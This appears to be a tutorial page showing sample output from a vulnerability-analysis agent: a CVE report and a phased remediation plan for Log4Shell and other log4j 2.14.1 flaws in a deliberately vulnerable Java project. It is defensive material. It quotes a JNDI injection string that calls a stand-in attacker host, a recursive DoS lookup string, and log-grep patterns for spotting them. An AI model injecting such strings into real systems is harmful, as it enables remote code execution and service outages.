Skip to main content

Vulnerability Output Best Practice

These are examples of the vulnerability analysis deliverables generated in the 05 Tools chapter. They show actual output produced from the sample project (java-vulnerable, which includes Log4Shell CVE-2021-44228).


Vulnerability Analysis Report

info

Generating agent: 05-vulnerability-analyst | Save path: output/vulnerability/cve-report.md


Report type: Vulnerability Analysis Created: 2026-03-23 00:00 Target project: vulnerable-java-app 1.0.0 Tools used: OSV API (https://api.osv.dev), Syft 1.42.3


1. Summary

  • Analyzed SBOM: java-vulnerable.cdx.json (CycloneDX 1.6)
  • 5 vulnerabilities found in total — 2 Critical, 1 High, 2 Medium
  • Critical vulnerabilities requiring immediate action (CVE-2021-44228, CVE-2021-45046) confirmed in log4j-core 2.14.1
  • CVE-2021-44228 (Log4Shell) has a CVSS of 10.0 and allows remote code execution (RCE) — the highest-risk vulnerability
  • Recommended action: upgrade log4j-core and log4j-api to 2.17.1 or later immediately

2. Vulnerability Details

ComponentVersionCVECVSSSeverityDescriptionFixed version
log4j-core2.14.1CVE-2021-4422810.0🔴 CriticalLog4Shell: remote code execution (RCE) via JNDI LDAP2.15.0+
log4j-core2.14.1CVE-2021-450469.0🔴 Critical2.15.0 patch incomplete — JNDI RCE bypass in non-default configs2.16.0+
log4j-core2.14.1CVE-2021-451057.5🟠 HighInfinite recursion (DoS) via Thread Context Map self-reference2.17.0+
log4j-core2.14.1CVE-2021-448326.6🟡 MediumRCE possible with permission to modify the logging configuration2.17.1+
log4j-core2.14.1CVE-2025-681615.4🟡 MediumSocket Appender does not perform TLS hostname verification2.25.3+
Note

log4j-api 2.14.1 has no direct vulnerability. Upgrading it together with log4j-core to keep versions aligned is recommended.


3. Detailed Vulnerability Descriptions

CVE-2021-44228 — Log4Shell (CVSS 10.0, Critical)

  • Affects: log4j-core 2.0-beta9 through 2.14.1
  • Attack vector: When an attacker injects a string of the form ${jndi:ldap://attacker.com/exploit} into a log, log4j automatically connects to the external LDAP server and loads and executes a malicious Java class
  • Real-world impact: Exploited at massive scale against millions of servers worldwide immediately after its discovery in December 2021
  • Immediate mitigation: Remove the JndiLookup class from the classpath
    Bash
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

CVE-2021-45046 — Log4Shell bypass (CVSS 9.0, Critical)

  • Affects: log4j-core 2.0-beta9 through 2.15.0
  • Attack vector: The CVE-2021-44228 patch in 2.15.0 can be bypassed with non-default Pattern Layout configurations. The JNDI attack can be reproduced when Thread Context Map patterns are used
  • Action: Upgrade to 2.16.0 (removes message lookup patterns, disables JNDI by default)

CVE-2021-45105 — DoS vulnerability (CVSS 7.5, High)

  • Affects: log4j-core 2.0-alpha1 through 2.16.0
  • Attack vector: Injecting a self-referential lookup (${${::-${::-$${::-j}}}}) into the Thread Context Map causes infinite recursion and brings down the process (DoS)
  • Action: Upgrade to 2.17.0

CVE-2021-44832 — Configuration file RCE (CVSS 6.6, Medium)

  • Affects: log4j-core 2.0-beta7 through 2.17.0
  • Attack vector: An attacker with permission to modify the logging configuration file can achieve RCE via the JDBC Appender
  • Action: Upgrade to 2.17.1. Restrict access permissions to the logging configuration file

CVE-2025-68161 — Missing TLS hostname verification (CVSS 5.4, Medium)

  • Affects: log4j-core 2.0-beta9 through 2.25.2
  • Attack vector: When using the Socket Appender, the TLS certificate hostname of the remote server is not verified, allowing man-in-the-middle (MITM) attacks
  • Action: Upgrade to 2.25.3; no impact if the Socket Appender is not used

4. Actions

Immediate action (Critical — within 24 hours)

  1. Upgrade log4j-core to 2.17.1 or later — resolves all Critical/High vulnerabilities at once

    XML
    <!-- pom.xml -->
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.1</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.17.1</version>
    </dependency>
  2. Immediate mitigation (before the upgrade): Remove the JndiLookup class

    Bash
    zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    Or add a JVM option:

    -Dlog4j2.formatMsgNoLookups=true

Short-term action (within 1 week)

  1. Rebuild and test the package: Run the full regression test suite after the upgrade
  2. Check deployment environments: Verify the log4j version and apply the patch on every server in operation
  3. Check for indicators of compromise (IoC): Search logs for the ${jndi: pattern to investigate any attack attempts

Medium-term action (within 1 month)

  1. Evaluate an upgrade to the latest version: Plan an upgrade to 2.25.3+ to resolve CVE-2025-68161
  2. Build an automated SBOM generation pipeline: Integrate Syft/Trivy into CI/CD for early vulnerability detection

5. References


Conforms to ISO/IEC 18974 §4.3.2 — identifying known vulnerabilities, assessing CVE risk scores (CVSS), and tracking vulnerabilities and their status


Vulnerability Remediation Plan

info

Generating agent: 05-vulnerability-analyst | Save path: output/vulnerability/remediation-plan.md


Report type: Vulnerability Remediation Plan Created: 2026-03-23 00:00 Target project: vulnerable-java-app 1.0.0 Tools used: OSV API, Syft 1.42.3


Overview

ItemContent
Response standardISO/IEC 18974 §4.3.2
Total vulnerabilities5 (Critical 2, High 1, Medium 2)
Immediate action targetsCVE-2021-44228, CVE-2021-45046
Target completion datesCritical: immediately / High: 2026-03-30 / Medium: 2026-04-23

Phased Remediation Plan

Phase 1 — Immediate action (Critical, within 24 hours)

Goal: Eliminate the Log4Shell risk (CVE-2021-44228, CVE-2021-45046)

1-A. Immediate mitigation (emergency measure before the upgrade)
Bash
# Remove the JndiLookup class from the log4j-core jar
zip -q -d log4j-core-2.14.1.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class

# Or add JVM startup options
# -Dlog4j2.formatMsgNoLookups=true
# -Dlog4j2.disableJndi=true
Caution

formatMsgNoLookups=true is not sufficient to fully block CVE-2021-45046. Removing JndiLookup is safer.

1-B. Dependency upgrade

Update pom.xml:

XML
<properties>
<!-- Minimum version that resolves all CVEs -->
<log4j.version>2.17.1</log4j.version>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j.version}</version>
</dependency>
</dependencies>
1-C. Build and verification
Bash
mvn clean package -DskipTests
# Confirm the upgraded version
mvn dependency:list | grep log4j

# Rescan for vulnerabilities
syft packages . -o cyclonedx-json > output/sbom/java-fixed.cdx.json
# Re-query the OSV API to confirm the vulnerabilities are resolved
1-D. Compromise investigation (Forensics)
Bash
# Search application logs for JNDI attack attempt patterns
grep -r '\${jndi:' /var/log/app/ 2>/dev/null
grep -r 'ldap://' /var/log/app/ 2>/dev/null
grep -r '${${' /var/log/app/ 2>/dev/null

Phase 2 — Short-term action (High, by 2026-03-30)

Goal: Complete the response to CVE-2021-45105 (DoS) and confirm patching across all production environments

TaskOwnerDeadline
Full survey of log4j versions on production serversInfrastructure manager2026-03-25
Apply the 2.17.1 patch to all production environmentsInfrastructure manager2026-03-27
Run the full regression test suiteQA manager2026-03-29
Write the patch completion reportSecurity manager2026-03-30

Phase 3 — Medium-term action (Medium, by 2026-04-23)

Goal: Resolve CVE-2021-44832 and CVE-2025-68161 and establish safeguards against recurrence

TaskDetailsDeadline
Evaluate an upgrade to 2.25.3+Check API compatibility, validate in the test environment2026-04-07
Integrate CI/CD vulnerability scansAdd Trivy or OWASP Dependency-Check to the pipeline2026-04-14
Wire up automated SBOM generationRefresh the SBOM automatically at build time with vulnerability alerts2026-04-21
Final completion reportConfirm all items are resolved and document the results2026-04-23

Vulnerability Status Tracking

CVESeverityCurrent statusTarget statusOwnerDeadline
CVE-2021-44228🔴 CriticalUnaddressedResolvedSecurity managerImmediately
CVE-2021-45046🔴 CriticalUnaddressedResolvedSecurity managerImmediately
CVE-2021-45105🟠 HighUnaddressedResolvedInfrastructure manager2026-03-30
CVE-2021-44832🟡 MediumUnaddressedResolvedDevelopment manager2026-04-23
CVE-2025-68161🟡 MediumUnaddressedResolvedDevelopment manager2026-04-23

How to update the status: After applying the patch, update "Unaddressed" → "Resolved (YYYY-MM-DD)"


Recurrence Prevention Measures

1. Establish a dependency version policy

XML
<!-- pom.xml — enforce a version floor (Maven Enforcer Plugin) -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<configuration>
<rules>
<bannedDependencies>
<excludes>
<exclude>org.apache.logging.log4j:log4j-core:[,2.17.1)</exclude>
</excludes>
</bannedDependencies>
</rules>
</configuration>
</plugin>

2. Automated vulnerability scanning in CI/CD

YAML
# GitHub Actions example
- name: Generate SBOM
run: syft packages . -o cyclonedx-json > sbom.cdx.json

- name: Vulnerability scan
run: |
trivy sbom sbom.cdx.json --exit-code 1 --severity CRITICAL,HIGH

3. Regular review schedule

CycleTask
Every buildAutomated vulnerability scan in CI/CD
MonthlyRefresh the SBOM and check for new CVEs
QuarterlyReview a full dependency upgrade
AnnuallyFull review of the vulnerability management process

Basis for ISO/IEC 18974 §4.3.2 Conformance

RequirementImplementationEvidence deliverable
Identify known vulnerabilitiesSBOM-based CVE scan via the OSV APIcve-report.md
Track vulnerabilities and their statusOperate the vulnerability status tracking tableThis document, §Vulnerability Status Tracking
Assess CVE risk scores (CVSS)Severity classification and prioritization by CVSS scorecve-report.md §2
Vulnerability response and patchingPhased remediation plan with named owners and deadlinesThis document, §Phased Remediation Plan

This document is the official vulnerability remediation plan produced to fulfill the ISO/IEC 18974 §4.3.2 requirements.